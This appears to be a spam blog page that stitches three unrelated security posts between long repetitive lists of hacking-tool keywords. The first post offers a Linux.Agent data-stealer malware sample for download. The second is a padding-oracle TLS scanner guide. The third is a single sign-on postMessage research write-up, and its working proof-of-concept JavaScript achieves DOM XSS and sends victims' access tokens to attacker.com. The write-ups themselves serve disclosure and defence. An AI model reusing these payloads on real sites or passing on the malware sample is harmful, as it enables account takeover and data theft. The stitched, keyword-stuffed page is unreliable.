sábado, 27 de janeiro de 2024

Linux.Agent Malware Sample - Data Stealer



Research: SentinelOne, Tim Strazzere Hiding in plain sight?
Sample credit: Tim Strazzere


List of files

9f7ead4a7e9412225be540c30e04bf98dbd69f62b8910877f0f33057ca153b65  malware
d507119f6684c2d978129542f632346774fa2e96cf76fa77f377d130463e9c2c  malware
fddb36800fbd0a9c9bfffb22ce7eacbccecd1c26b0d3fb3560da5e9ed97ec14c  script.decompiled-pretty
ec5d4f90c91273b3794814be6b6257523d5300c28a492093e4fa1743291858dc  script.decompiled-raw
4d46893167464852455fce9829d4f9fcf3cce171c6f1a9c70ee133f225444d37  script.dumped

malware_a3dad000efa7d14c236c8018ad110144
malware fcbfb234b912c84e052a4a393c516c78
script.decompiled-pretty aab8ea012eafddabcdeee115ecc0e9b5
script.decompiled-raw ae0ea319de60dae6d3e0e58265e0cfcc
script.dumped b30df2e63bd4f35a32f9ea9b23a6f9e7


Download


Download. Email me if you need the password


More information

  1. Wifi Hacker Tools For Windows
  2. Computer Hacker
  3. Hack Tools For Windows
  4. Hacking Tools Hardware
  5. Hacker Tools Windows
  6. Hack Tools For Windows
  7. Hacker Tools Hardware
  8. Hacks And Tools
  9. Pentest Tools Website
  10. Pentest Tools Github
  11. Hacking Tools Online
  12. Bluetooth Hacking Tools Kali
  13. Hack Tools Github
  14. Pentest Tools Free
  15. Hacker
  16. Hack Tool Apk No Root
  17. Pentest Tools Github
  18. Pentest Tools Open Source
  19. Tools For Hacker
  20. Nsa Hack Tools
  21. Beginner Hacker Tools
  22. Usb Pentest Tools
  23. Hack Tools
  24. Pentest Tools Bluekeep
  25. Install Pentest Tools Ubuntu
  26. Hacking Tools For Beginners
  27. Pentest Box Tools Download
  28. Pentest Tools Free
  29. Hacking Tools Usb
  30. Hacking Tools For Windows 7
  31. Hacking Tools 2020
  32. Pentest Tools For Android
  33. Hak5 Tools
  34. Hacker Tools Hardware
  35. Termux Hacking Tools 2019
  36. Top Pentest Tools
  37. Hacker Tools For Windows
  38. Hacker Tools Hardware
  39. Pentest Tools Download
  40. Pentest Automation Tools
  41. Hacking Tools Download
  42. Hacker Tools For Mac
  43. Black Hat Hacker Tools
  44. Hacker Tools For Pc
  45. Growth Hacker Tools
  46. Pentest Tools Windows
  47. Hacking Tools Kit
  48. Pentest Automation Tools
  49. Pentest Tools Open Source
  50. Pentest Tools Port Scanner
  51. Hacker Tools Free
  52. Hacking Tools And Software
  53. Hacking Tools For Windows
  54. Hacking App
  55. Pentest Tools Review
  56. Hacking Tools
  57. What Are Hacking Tools
  58. Hacker Security Tools
  59. Pentest Tools For Android
  60. Pentest Tools Find Subdomains
  61. Pentest Tools Download
  62. Kik Hack Tools
  63. Hacker Tools List
  64. Tools For Hacker
  65. Hacker Tools For Windows
  66. Tools For Hacker
  67. Hacking Tools For Windows 7
  68. How To Hack
  69. Hacker Tools 2019
  70. Hacking Tools Kit
  71. Hacking Tools For Windows
  72. Pentest Tools For Android
  73. Pentest Tools Kali Linux
  74. Hacking Tools Windows 10
  75. Usb Pentest Tools
  76. Install Pentest Tools Ubuntu
  77. Hacker Tools Apk Download
  78. Hacking Tools For Beginners
  79. Hack App
  80. Hacking Tools 2019
  81. Hacking Tools 2019
  82. Hacker Tools For Pc
  83. Hacking Tools For Kali Linux
  84. Pentest Tools Github
  85. Nsa Hack Tools Download
  86. New Hack Tools
  87. Pentest Tools Online
  88. Hacking Tools 2020
  89. Growth Hacker Tools
  90. Hacker Tools Free
  91. Hacker Tools Free Download
  92. Pentest Tools For Android
  93. Hacking Tools Usb
  94. Pentest Tools Kali Linux
  95. Hack Tools
  96. Growth Hacker Tools
  97. Best Hacking Tools 2019
  98. Nsa Hack Tools Download
  99. Ethical Hacker Tools
  100. Hacking App
  101. Hack Tools For Games
  102. Top Pentest Tools
  103. Hack Tools For Ubuntu
  104. Ethical Hacker Tools
  105. New Hack Tools
  106. Pentest Tools Windows
  107. Pentest Automation Tools
  108. Pentest Tools Tcp Port Scanner
  109. Hack App
  110. Hacking Tools For Kali Linux
  111. Hack Tools For Games
  112. Hacking Tools Software
  113. Hacking Tools Software
  114. Beginner Hacker Tools
  115. Hack Rom Tools
  116. Hackrf Tools
  117. Pentest Tools Kali Linux
  118. Best Pentesting Tools 2018
  119. Best Hacking Tools 2020
  120. Hacking Tools And Software
  121. Hacking Tools And Software
  122. Pentest Tools Open Source
  123. New Hack Tools
  124. Hack Tools Github
  125. Hacker Tools For Mac
  126. Nsa Hack Tools
  127. Hacking Tools
  128. Hacking App
  129. How To Make Hacking Tools
  130. Hacker Tools Mac
  131. Nsa Hack Tools Download
  132. Pentest Tools Review
  133. Best Hacking Tools 2019
  134. Hak5 Tools
  135. Hack Tools For Pc
  136. Pentest Tools For Mac
  137. Physical Pentest Tools
  138. Underground Hacker Sites
  139. Hacker Tools Mac
  140. Hack Tools
  141. Hack Tools
  142. Pentest Tools Android
  143. Hacking Tools For Windows
  144. Hacking Tools For Windows Free Download
  145. Pentest Tools Framework
  146. Hacker Tools For Mac
  147. Hacking Tools Name
  148. Pentest Tools Find Subdomains
  149. Hacking Tools 2020

Scanning For Padding Oracles

As you might have heard, we recently got our paper on padding oracle attacks accepted to the USENIX Security Conference. In this paper, we describe and evaluate a scanning methodology with which we found several padding oracle vulnerabilities in devices from various vendors. In total, we found that 1.83% of the Alexa Top 1 Million have padding oracle vulnerabilities.

To test whether a server is vulnerable, we specified different padding oracle vectors which we send to the system under test, using different cipher suites and protocol versions. If the server does not behave identically (on both the TLS and TCP layers), we consider it to be vulnerable to a padding oracle attack, since it is leaking information about the plaintext via behavior differences. Depending on the responses to such padding oracle vectors, one can estimate which implementation is responsible for the vulnerability. We contacted quite a few website owners and tried to cooperate with them, to find out which vendors and TLS stacks are responsible for the identified vulnerabilities. You can find our current disclosure status on this issue on https://github.com/RUB-NDS/TLS-Padding-Oracles.
We are currently in contact with other vendors to fix the remaining vulnerabilities, but the some of the rare (in terms of the number of affected hosts) vulnerabilities are currently not attributed. To fix the remaining vulnerabilities, we ask for your assistance to help get rid of this issue. For this purpose, we integrated a standalone version of our padding oracle evaluation tool into our TLS-Scanner (v.2.7) project. This tool allows you (among other things) to evaluate if a specific server is vulnerable.

When the tool detects a vulnerability, it tries to attribute the vulnerability to a specific vendor or CVE. If we already know of the vulnerability of the server you scanned, the tool will print its details. If the tool does not have a description of the vulnerability in its database, it will ask you to notify us about the vulnerable server, such that we can notify the vendor and get the device fixed. To be clear: the tool never sends any data to us - you have the choice of whether to notify us (and what details to include). There is a chance that the tool's attribution is also mistaken, that is, the tool lists a vendor for your host, but you know for sure that you do not use an implementation by this vendor. Please contact us in such cases as well.

How to use the Tool

First, you need to grab hold of the tool. There are 3 ways to get your hands dirty: pre-compiled, self-compiled or Docker. We provide a pre-compiled version of the tool since the compilation process can get quite messy if you are not familiar with java and maven. You can directly download the resulting project here. However, if you also want to play around with the code, you have to compile everything yourself.

Building the TLS-Scanner

For this, you will need (Git), maven (sudo apt-get install maven), OpenJDK-8  (I can guarantee that this version works, other versions might work as well, have not tested it).

You will need to get TLS-Attacker 2.9 (if you do not already have it):
Now we can clone and install the TLS-Scanner

Docker

We also provide a Dockerfile, which lets you run the scanner directly

Getting Started


If you start the TLS-Scanner you should be greeted by a usage info, similar to the one below:

 or


This should give you an overview of the supported command line flags. The only really required one is the -connect flag (similar to OpenSSL and TLS-Attacker), with which you specify which host to scan. The most basic command is therefore:

Your output may look something like this:

By default, TLS-Scanner will run single-threaded. In such cases the scanning will take a while; just how long it will take depends on your server configuration. The scanner also supports multi-threading, which drastically improves the performance. There are two parameters to play around with, -threads, which controls how many different "probes" are executed in parallel, and -aggressive , which controls how many handshakes can be executed simultaneously. If you want the fastest results the following parameters are usually a good choice:

But lets get back to the results of the Scanner. Currently the Scanner supports a bunch of well known tests, like supported ciphersuites or protocol versions. These are very similar to what you may be used to from other scanners like ssllabs or testssl.sh.

Padding Oracles

The main advantage of our scanner is the ability to scan for padding oracle vulnerabilities (which is probably why you are reading this post). You will see if you are vulnerable in the "Attack Vulnerabilities" section. For example, when scanning hackmanit.de, the result is false. Good for us! But as you might have seen there is also another section in the scanner report:"PaddingOracle Responsemap"
This section lists the responses of the scanned host for each padding oracle vector, for each cipher suite and protocol version. For hackmanit.de, there is no detected difference in responses, which means hackmanit.de is not vulnerable to the attack:
If we want, we can also look at the concrete responses of the server. For this purpose, we start the scanner with the -reportDetail flag:

With this flag we now get the following details:

So what does this all mean? First of all, we named our malformed records. The interpretation of those names is visualized in the following table:
BasicMac-<position>-<XOR>   A Record with ApplicationData, MAC and padding bytes, where the padding byte at <position> is XOR'd <XOR>
 MissingMacByteFirst  A Record without ApplicationData, where the first byte of the MAC is missing
 MissingMacByteLast  A Record without ApplicationData, where the last byte of the MAC is missing
 Plain FF  A Record without ApplicationData & MAC which only contains Paddingbytes: 64* 0xFF 
 Plain 3F  A Record without ApplicationData & MAC which only contains Paddingbytes: 64* 0xF3
 InvPadValMac-[<position>]-<appDataLength>-<paddingBytes>  A Record with invalid padding and valid MAC. The Record contains <appDataLength> many ApplicationData bytes and <paddingBytes> many PaddingBytes. The Padding is invalid at <position>.
 ValPadInvMac-[<position>]-<appDataLength>-<paddingBytes>  A Record with valid padding and invalid MAC. The Record contains <appDataLength> many ApplicationData bytes and <paddingBytes> many PaddingBytes. The MAC is invalid at <position>.
 InvPadInvMac-[<position>]-<appDataLength>-<paddingBytes>  A Record with invalid padding and invalid MAC. The Record contains <appDataLength> many ApplicationData bytes and <paddingBytes> many PaddingBytes. The MAC is invalid at the first position. The Padding is invalid at <position>.

Next to the name you can see what the actual response from the server was. Alert messages which are in [] brackets indicate that the alert was a fatal alert while () brackets indicate a warning alert. ENC means that the messages were encrypted (which is not always the case). The last symbol in each line indicates the state of the socket. An X represents a closed socket with a TCP FIN, a T indicates that the socket was still open at the time of measurement and an @ indicates that the socket was closed with an RST. So how did Hackmanit respond? We see a [BAD_RECORD_MAC]  ENC X, which means we received an ENCrypted FATAL BAD_RECORD_MAC alert, and the TCP connection was closed with a TCP FIN. If a server appears to be vulnerable, the scanner will execute the scan a total of three times to confirm the vulnerability. Since this response is identical to all our vectors, we know that the server was not vulnerable and the scanner is not re-executing the workflows.

Here is an example of a vulnerable host:
As you can see, this time the workflows got executed multiple times, and the scanner reports the cipher suite and version as vulnerable because of "SOCKET_STATE". This means that in some cases the socket state revealed information about the plaintext. If you look closely, you can see that for ValPadInvMac-[0]-0-59, ValPadInvMac-[8]-0-59 and ValPadInvMac-[15]-0-59 the server failed to close the TCP socket, while for all other vectors the TCP connect was closed with a TCP FIN. The server was therefore vulnerable.

Since the server was vulnerable, TLS-Scanner will also print an additional section: "PaddingOracle Details"

In this section we try to identify the vulnerability. In the example above, TLS-Scanner will print the following:

As you can see, we attribute this vulnerability to OpenSSL <1.0.2r. We do so by looking at the exact responses to our malformed records. We additionally print two important facts about the vulnerability: Whether it is observable and its strength. The precise details of these properties are beyond the scope of this blogpost, but the short version is:
If an oracle is observable, a man in the middle attacker can see the differences between the vectors by passively observing the traffic, without relying on browser or application specific tricks. A strong oracle has no limitations in the number of consecutive bytes an attacker can decrypt. If an oracle is STRONG and OBSERVABLE, then an attacker can realistically exploit it. This is the case in the example above.
For more details on this, you will have to wait for the paper.

Attribution

As you can see, we try to fingerprint the responsible device/implementation. However, we were not able to identify all vulnerable implementations yet. If we cannot attribute a vulnerability you will receive the following message:

Could not identify the vulnerability. Please contact us if you know which software/hardware is generating this behavior.

If you encounter this message, we do not know yet who is responsible for this padding oracle and would be happy to know which device/vendor is responsible. If you know who is, please contact us so that we can get in contact with the vendor to fix the issue. To reiterate, the tool never sends any data back to us, and it is your choice whether to contact us manually or not.

There are also some cases in which we can identify the vendor, but the vendor has not patched the vulnerability yet. If you encounter such a host, the scanner will tell you that we know the responsible vendor. To prevent abuse, we do not include further details.

Non-Determinism and Errors

In some cases, the scanner is unable to scan for padding oracles and reports ERROR or non-deterministic responses. The ERROR cases appear if the scanner failed could not handshake with the specified cipher suite and protocol version. This might be due to a bug in the tested TLS-Server or a bug in TLS-Attacker or TLS-Scanner. If you think the handshake fails because of an issue on our side, please open an issue on Github, and we will investigate. The more interesting cases are the non-deterministic ones. In such cases the scanner observed non-identical scan results in three separate scans. This can be due to non-determinism in the software, connection errors, server load or non-homogeneous load balancing. Currently, you will have to analyze these cases manually. In the paper, we excluded such hosts from our study because we did not want to artificially improve our results. But we understand that you as a tester want to know if the server is vulnerable or not. If the server is not truly vulnerable you would see the differences between the answers spread across all the different vectors. If the differences only appear on a subset of malformed records the server is very likely vulnerable. If you are unsure, you can also always scan multiple times (or scan slowly), increase the timeout, or if you are entirely lost get in touch with us. 


How YOU can help

Please use the scanner on all your hosts and check for padding oracle vulnerabilities. If the scanner can identify your vulnerability, a patch should already be available. Please patch your system! If the scanner does not identify the vulnerability (and instructs you to contact us), please contact us with the details (robert.merget@rub.de). If you can provide us with the detailed output of the scanner or even better, the name of the host, with the corresponding vendor, we could match the results with our database and help fix the issue. We can already attribute over 90% of the vulnerabilities, but there is still a lot to be discovered. We mostly scanned the Alexa top 1-million on port 443. Other protocols like IMAPS, POP3S, etc. might have different implementations with different vulnerabilities. If you find vulnerabilities with our tool, please give us credit. It helps us to get more funding for our project.

Issues with the Scanner


A notable feature of our scanner is that we do not actively try to avoid intolerances (like not scanning with a lot of cipher suites in the Hello messages etc.). We believe that doing so would hide important bugs. We are currently experimenting with intolerances checks, but the feature is now still in beta. If we cannot scan a server (most of the time due to intolerances or SNI problems), the scanner will report a lot of intolerances and usually no supported protocol versions. Some intolerances may trick the scanner into reporting false results. At the current stage, we cannot make any guarantees. If you are using this tool during a pentest, it might be smart to rescan with other scanners (like the recently released padcheck tool from our colleague Craig Young) to find the ground truth (this is good advice in general, since other mainstream scanners likely have the same issues). Note however that it is very unlikely that the scanner reports a false positive on a padding oracle scan.


Conclusion

There are still a lot of padding oracle vulnerabilities out there - and a lot of them are still unpatched. We hope you will find some bugs with the tool :) Happy H4cking :D


Acknowlegements

This is joint work from Robert Merget (@ic0nz1), Juraj Somorovsky (@jurajsomorovsky),  Nimrod Aviram (@NimrodAviram), Janis Fliegenschmidt (@JanisFliegens), Craig Young (@craigtweets), Jörg Schwenk (@JoergSchwenk) and (Yuval Shavitt).

More articles


  1. Hacking Tools For Mac
  2. Hacker Tools For Mac
  3. Hack Tools Pc
  4. Hacker Tools Hardware
  5. Pentest Tools Tcp Port Scanner
  6. Pentest Tools Tcp Port Scanner
  7. Pentest Tools Linux
  8. Hack Tools
  9. Hacking Tools Windows 10
  10. Hacking Tools For Beginners
  11. Pentest Tools Open Source
  12. Pentest Tools Github
  13. Hack Tools Download
  14. Hack Tools For Windows
  15. Hacking Tools For Games
  16. Hackers Toolbox
  17. Pentest Tools Website
  18. Computer Hacker
  19. Hack Tools For Windows
  20. Pentest Tools Website Vulnerability
  21. Hack Tools 2019
  22. Hacking Tools Windows
  23. Hacking Tools Github
  24. Pentest Tools For Mac
  25. Hacker Tools Online
  26. Hacker Tools Windows
  27. Hacking Tools For Games
  28. Hacking Tools Software
  29. Hack Tools For Games
  30. Game Hacking
  31. Hacker Tools 2020
  32. Pentest Recon Tools
  33. Hacker Hardware Tools
  34. Hacker Tools 2020
  35. Hack Apps
  36. Hacker Tools Software
  37. What Are Hacking Tools
  38. Hacker Tools Apk
  39. Pentest Tools Tcp Port Scanner
  40. Hacker Tools Free
  41. Hacking Tools Hardware
  42. Blackhat Hacker Tools
  43. Kik Hack Tools
  44. Hacking Tools Free Download
  45. Pentest Tools Download
  46. Hack Tools Online
  47. Hacking Tools Online
  48. Pentest Tools Website
  49. Hackers Toolbox
  50. Pentest Tools Website
  51. Tools 4 Hack
  52. Hacking Tools Github

Security And Privacy Of Social Logins (II): PostMessage Security In Single Sign-On

This post is the second out of three blog posts summarizing my (Louis Jannett) research on the design, security, and privacy of real-world Single Sign-On (SSO) implementations. It is based on my master's thesis that I wrote between April and October 2020 at the Chair for Network and Data Security.

We structured this blog post series into three parts according to the research questions of my master's thesis: Single Sign-On Protocols in the Wild, PostMessage Security in Single Sign-On, and Privacy in Single Sign-On Protocols.

Overview

Part I: Single Sign-On Protocols in the Wild

Although previous work uncovered various security flaws in SSO, it did not work out uniform protocol descriptions of real-world SSO implementations. We summarize our in-depth analyses of Apple, Google, and Facebook SSO. We also refer to the sections of the thesis that provide more detailed insights into the protocol flows and messages.
It turned out that the postMessage API is commonly used in real-world SSO implementations. We introduce the reasons for this and propose security best practices on how to implement postMessage in SSO. Further, we present vulnerabilities on top-visited websites that caused DOM-based XSS and account takeovers due to insecure use of postMessage in SSO.

Part III: Privacy in Single Sign-On Protocols (coming soon)

Identity Providers (IdPs) use "zero-click" authentication flows to automatically sign in the user on the Service Provider (SP) once it is logged in on the IdP and has consented. We show that these flows can harm user privacy and enable new targeted deanonymization attacks of the user's identity.

PostMessage Security in Single Sign-On

If you are familiar with OAuth or OpenID Connect, you already know the redirect flow: It opens the Authentication Request in the primary window and returns the Authentication Response with a redirect from the IdP to the SP. This approach requires the browser to reload the entire SP website, which is especially in single-page applications a disadvantage.

The popup flow eliminates the need to reload the SP website by executing the SSO flow in a popup window as follows:

If the sign-in button on the SP website is clicked, the Authentication Request is opened in a new popup window. After the user submits its credentials and grants the consent, the IdP redirects the popup to the `redirect_uri`. From the IdP's perspective, a normal redirect flow is executed. Thus, the IdP does not need not implement any changes to support the popup flow. The SP receives the `code` at its Redirection Endpoint, redeems the `code`, authenticates the user, and finally returns JavaScript that sends an authentication token back to the primary window with postMessage. For instance, the response from the Redirection Endpoint sends the `access_token` (or `id_token` or any other application-specific token) from the popup window back to the primary window as follows:
const access_token = "ya29.a0Af..."; window.opener.postMessage(access_token, "https://sp.com"); 

Prior to that, the following JavaScript is executed in the primary window:

window.onmessage = (event) => { 	if (event.origin !== "https://sp.com") return; 	processToken(event.data); } 

Finally, the primary window receives the authentication token, optionally stores it in localStorage, and may use it for subsequent API calls.

Comparison: response_mode=web_message vs. popup flow

We discovered the popup flow in several real-world SSO implementations, although it is not formally defined in the OAuth or OpenID Connect specifications. Besides the response modes `query`, `fragment`, and `form_post`, we want to raise awareness for `response_mode=web_message`. This response mode requests not to perform any redirects but instead use the postMessage API. After the user submits its credentials and grants the consent, the IdP returns JavaScript, sending the Authentication Response from the popup window to the primary window using postMessage: `window.opener.postMessage("code=XYZ&state=123", "https://sp.com/redirect")`. Although the `redirect_uri` is not required to perform any redirects, it still serves as postMessage destination origin. The SP benefits from this response mode since it does not have to implement a Redirection Endpoint, which is useful for "real" single-page applications. However, the IdP must make changes to its implementation.

Although the `web_message` response mode is not formally specified in current OAuth or OpenID Connect standards, it still is defined in an expired draft from 2016: OAuth 2.0 Web Message Response Mode. Also, the current draft OAuth 2.0 Assisted Token proposes a separate endpoint used by postMessage SSO flows that are executed with iframes in single-page applications. The OAuth 2.0 Multiple Response Type Encoding Practices document leaves space for future specifications as well:

> Note that it is expected that additional Response Modes may be defined by other specifications in the future, including possibly ones utilizing the HTML5 postMessage API and Cross-Origin Resource Sharing (CORS). 

Security

The postMessage API has not only enjoyed popularity by developers but also by bug bounty hunters. The reason is simple: It provides a controlled circumvention of the Same Origin Policy and enables frames of different origins to communicate with each other. This comes at a cost: Developers need to meet specific security requirements to mitigate cross-origin attacks:

Destination Check

The origin of the window that receives the postMessage must be specified in the second parameter of the `postMessage` function. If the message is confidential (i.e., contains the `access_token`, `id_token`, or similar), the wildcard origin `*` must not be used. Instead, the SP origin (i.e., the `redirect_uri`) must be explicitly specified as destination origin. Insufficient destination checks can cause account takeovers.

Origin Check

In the postMessage event listener, the origin of the received postMessage must be checked before the payload is processed. The safest option is to perform a static string compare on the `event.origin` property. Developers need to pay special attention to regular expressions. For instance, `/^https?:\/\/.*sp\.com$/` is insecure, since it classifies `https://attackersp.com` as valid. Insufficient origin checks can cause DOM-based XSS, CSRF logins, and CSRF account linking.

Input Validation

In the postMessage event listener, the message must be validated before it is processed. For instance, let's assume the URL https://sp.com/login is sent with postMessage to an event listener, which navigates to that URL by setting the `window.location.href` property. If the URL is not validated, a maliciously-crafted URL (i.e., `javascript:alert(1)`) will cause DOM-based XSS.

Evaluation

We were curious about the security of postMessage in SSO flows on real-world SPs. To evaluate the current state of postMessage in SSO, the top 250 websites from Moz's list of the most popular websites served as a foundation. 
We identified 63 websites supporting SSO with Apple, Google, or Facebook. Out of 15 websites implementing the popup flow with postMessage, we found that ten are vulnerable to an account takeover and two are vulnerable to DOM-based XSS
In the following, we present three vulnerabilities on real-world SPs. Check out Section 4.5 of the thesis for more details and attacks.

Vuln. 1) DOM-based XSS on myaccount.nytimes.com

The website myaccount.nytimes.com was vulnerable to DOM-based XSS due to a missing postMessage origin check and insufficient input validation within the postMessage event listener.

The SSO flow on nytimes.com works as follows: If the user clicks the sign-in button on https://myaccount.nytimes.com/auth/login, the Authentication Request is opened in a new popup window. The user signs in, grants the consent, and the popup is redirected to the Redirection Endpoint on https://myaccount.nytimes.com/auth/google-login-callback?code=XYZ. The backend receives the code, redeems the code, authenticates the user, sets session cookies, and returns JavaScript that sends a postMessage containing a target URL to which the primary window should redirect after successful authentication.
Therefore, the primary window on https://myaccount.nytimes.com/auth/login registered the following (vulnerable) event listener:
// webpack:///./jsx/src/unified-lire/lire-ui-bundle/components/fullPage/FullPageView.js handleSsoPopupMessage = (e) => {     const payload = receivePostMessage(e);     if (payload.message == "SSO_ACTION_SUCCESS") {         window.top.location.href = payload.props.redirectUri;     } }  // webpack:///./jsx/src/utils/iFramePostMessages.js receivePostMessage = (e) => {     if (isNytimesDomain(e.origin)) return e.data; } isNytimesDomain = () => true; 

As you might have noticed, the event listener wants to validate the origin of the postMessage with the `isNytimesDomain` function, which returns `true` for all origins. Then, it redirects to the URL sent in the postMessage by setting the `window.top.location.href` property, but without validating the URL. We can use the `javascript` scheme to achieve DOM-based XSS. Therefore, the attacker embeds the following PoC on its malicious website:
window.popup = window.open("https://myaccount.nytimes.com/auth/login", "_blank"); setTimeout( () => { 	window.popup.postMessage({ 		"message": "SSO_ACTION_SUCCESS", 		"props": { 			"oauthProvider": "google", 			"redirectUri": "javascript:alert(document.domain)", 			"action": "LOGIN" 		} 	}, "*"); }, 2000); 

Responsible Disclosure

  • 2020-08-27: Initial report sent to The New York Times via HackerOne Disclosure Assistance
  • 2020-09-09: Acknowledged by HackerOne
  • 2020-11: Fixed with a domain whitelist: `["nytimes.com", "captcha-delivery.com", "localhost"].includes(...)`

Vuln. 2) Account Takeover on cbsnews.com, cnet.com, and zdnet.com

The websites cbsnews.com, cnet.com, and zdnet.com are brands of the CBS Interactive group and were vulnerable to a full account takeover due to an insufficient destination check in the `postMessage` function. Since the websites use a common authentication system, all three websites (and even more) were equally vulnerable.
In the following, we demonstrate the attack applied on cnet.com:

The SSO flow on cnet.com involves a popup window and an iframe on the primary window. The iframe loads the easyXDM library, which is (insecurely) used as a proxy between the popup window and the primary window.

If the user clicks the "Continue with Facebook" button on cnet.com, the Login Endpoint is opened in a new popup window. In return, it redirects the Authentication Request to Facebook. The user signs in, grants the consent, and the popup is redirected to the Redirection Endpoint. The backend receives the code, redeems it, creates a custom `accessCredential`, and returns JavaScript that calls the `setAccessCredentials` function in the iframe. The `accessCredential` is passed as a parameter to that function such that the iframe receives it. Note that this JavaScript callback only works because the iframe and popup window share the same origin.
Finally, the proxy iframe relays the `accessCredential` to the primary window using postMessage. The postMessage destination origin is retrieved from the `xdm_e` query parameter of the iframe URL. Note that this parameter is not validated, which is the core vulnerability in this flow.
To exploit this vulnerability, an attacker registers a postMessage event listener that will later receive the victim's `accessCredential` on its malicious website. It then embeds the proxy iframe and loads it with the `xdm_e=https://attacker.com` query parameter. Finally, the URL that starts the SSO flow is opened in a new popup window.
window.addEventListener("message", (e) => { alert(e.data); });  window.iframe = document.createElement("iframe"); window.iframe.name = "easyXDM"; window.iframe.src = "https://urs.cnet.com/pageservices/social/oauth/proxy?xdm_e=https%3A%2F%2Fattacker.com&xdm_c=urs375&xdm_p=1"; window.iframe.onload = () => { 	window.open("https://urs.cnet.com/pageservices/social/oauth/connect/facebook/375?extras=%7B%22requestType%22%3A%22SOCIAL_AUTH%22%2C%22version%22%3A%22v2.2%22%7D&frameId=easyXDM", "_blank"); } 

If the victim visits the malicious website, is logged in on Facebook, and has valid consent for `cnet.com`, the malicious website automatically receives the victim's `accessCredential`, enabling the attacker to gain access to the victim's account.

Responsible Disclosure

  • 2020-08-09: Initial report sent to support.cnet@cbsinteractive.com
  • 2020-08-11: Acknowledged by CNET Customer Support
  • 2020-08-28: Fix provided with an access control list containing insecure regular expressions: `/^.*\.cnet\.com((\/.*)?)$/` is valid for `xdm_e=https://attacker.com/.cnet.com`
  • 2020-08-28: Second report sent to support.cnet@cbsinteractive.com
  • 2020-08-29: Acknowledged by CNET Customer Support
  • 2020-09-04: Fix provided with secure regular expressions: `/^(https:\/\/)([a-zA-Z0-9\-]+\.)*cnet\.com((\/.*)?)$/`

Vuln. 3) Account Takeover in SAP Customer Data Cloud (GIGYA)

The SAP Customer Data Cloud, formally known as GIGYA, offers SSO as a Service: It acts both as IdP for its customers and SP for Google, Facebook, and other public IdPs. For instance, www.independent.co.uk and abc.es integrate the SAP IdP to offer both Google and Facebook SSO with a single codebase.
We discovered a vulnerability in the postMessage configuration that led to an account takeover on all websites integrating the SAP identity brokerage service for SSO.
We demonstrate the attack applied on www.independent.co.uk as follows:

The SSO flow is started from the SP website by opening the Authentication RequestSAP in a new popup window. This request defines the public IdP (Google) and the domain of the SP website that will finally receive the tokens from the SAP IdP. This domain is not validated correctly: It rejects trivial manipulations (i.e., `domain=https://attacker.com` or `domain=https://www.independent.co.uk.attacker.com`) but fails to detect the `user:pwd@host.com` Basic Authentication URI component.

Thus, an attacker can create a malicious website that opens the Authentication RequestSAP in a new popup window, sets the `client_id` to some targeted SP, and the domain to the URL of that SP with an appended `@attacker.com`. The SAP IdP generates an Authentication RequestGoogle and redirects the popup to that URL. It further associates the `domain` with the `state`. Note that from Google's perspective, the SP is the SAP IdP. After authentication and consent, Google redirects back to the Redirection EndpointSAP. The SAP IdP receives the `code`, redeems it at Google, authenticates the user, creates custom authentication tokens, and finally returns JavaScript, which uses postMessage to return the custom authentication tokens to the SP. Note that the postMessage destination origin is set to the initial domain parameter: `https://[...]@attacker.com`. The backend uses the `state` to retrieve the associated `domain`.

If a victim visits the malicious website, is logged in at Google, and has valid consent, the attacker can immediately receive the tokens from SAP that authenticate the victim on the targeted SP:
window.addEventListener("message", (e) => { alert(e.data);}); window.open("https://socialize.us1.gigya.com/socialize.login?x_provider=googleplus&client_id=2_bkQWNsWGVZf-fA4GnOiUOYdGuROCvoMoEN4WMj6_YBq4iecWA-Jp9D2GZCLbzON4&redirect_uri=%2FGS%2FAfterLogin.aspx&response_type=server_token&state=domain%3Dhttps%253A%252F%252Fwww.independent.co.uk:pwd@attacker.com", "_blank"); 

Responsible Disclosure

  • 2020-08-05: Initial report sent to Secure@sap.com
  • 2020-08-18: Acknowledged by SAP
  • 2020-09-17: Fixed validation on backend server

Acknowledgments

My thesis was supervised by Christian MainkaVladislav Mladenov, and Jörg Schwenk. Huge "thank you" for your continuous support, advice, and dozens of helpful tips. 
Also, special thanks to Lauritz for his feedback on this post and valuable discussions during the research. Check out his blog post series on Real-life OIDC Security as well.

Authors of this Post

Louis Jannett
Related links

  1. Pentest Automation Tools
  2. Pentest Tools Alternative
  3. Hacking App
  4. Hacker Tools Apk
  5. World No 1 Hacker Software
  6. Nsa Hacker Tools
  7. Pentest Tools Url Fuzzer
  8. Pentest Tools Apk
  9. Pentest Tools List
  10. Hacking Tools For Mac
  11. Hack Tools Download
  12. Free Pentest Tools For Windows
  13. Hacking Tools Free Download
  14. Hack Tools 2019
  15. Game Hacking
  16. World No 1 Hacker Software
  17. Pentest Tools Free
  18. Hacker Security Tools
  19. Usb Pentest Tools
  20. Tools 4 Hack
  21. Computer Hacker
  22. Pentest Tools Subdomain
  23. Hacking Tools For Windows 7
  24. Hacking Tools Pc
  25. Hacker Tools Free Download
  26. Hacking Tools Windows
  27. Hack App
  28. Hacker
  29. Physical Pentest Tools
  30. Nsa Hack Tools
  31. Pentest Tools Windows
  32. Underground Hacker Sites
  33. Hacker Tools Free Download
  34. Hacker Search Tools
  35. Usb Pentest Tools
  36. Pentest Tools
  37. Hacking Tools 2020
  38. Hacking Tools Name
  39. Hack Tools
  40. Pentest Automation Tools
  41. Hacking Tools For Mac
  42. Android Hack Tools Github
  43. Hak5 Tools
  44. Beginner Hacker Tools
  45. Hacker Search Tools
  46. Hacking Tools For Windows
  47. Hacker Tools Hardware
  48. Pentest Tools Online
  49. Nsa Hacker Tools
  50. Hack Website Online Tool
  51. Hacking Tools Pc
  52. Pentest Tools Website
  53. Pentest Box Tools Download
  54. Hak5 Tools
  55. Hacker Tools For Ios
  56. Blackhat Hacker Tools
  57. Pentest Tools Online
  58. Pentest Tools Android
  59. Hack Tools
  60. Hack Tools For Windows
  61. Best Pentesting Tools 2018
  62. Hacking Tools Free Download
  63. Hack App
  64. Best Pentesting Tools 2018
  65. Hack Tools
  66. What Are Hacking Tools
  67. Hacking Tools Usb
  68. Hacker Tools Software
  69. Hacking Tools For Pc
  70. Hack Tools 2019
  71. Hack Tools For Windows
  72. Hacker Tools Online
  73. Top Pentest Tools
  74. Hack App
  75. Hacker Tools 2020
  76. Tools 4 Hack
  77. Hack Tools Online
  78. Hacking Tools For Mac
  79. Hack Tools For Ubuntu
  80. Hack Tools Download
  81. Hacking Tools For Games
  82. Hacker Tools Software
  83. Pentest Tools Review
  84. Pentest Automation Tools
  85. Hacker Tools Software
  86. Hacks And Tools
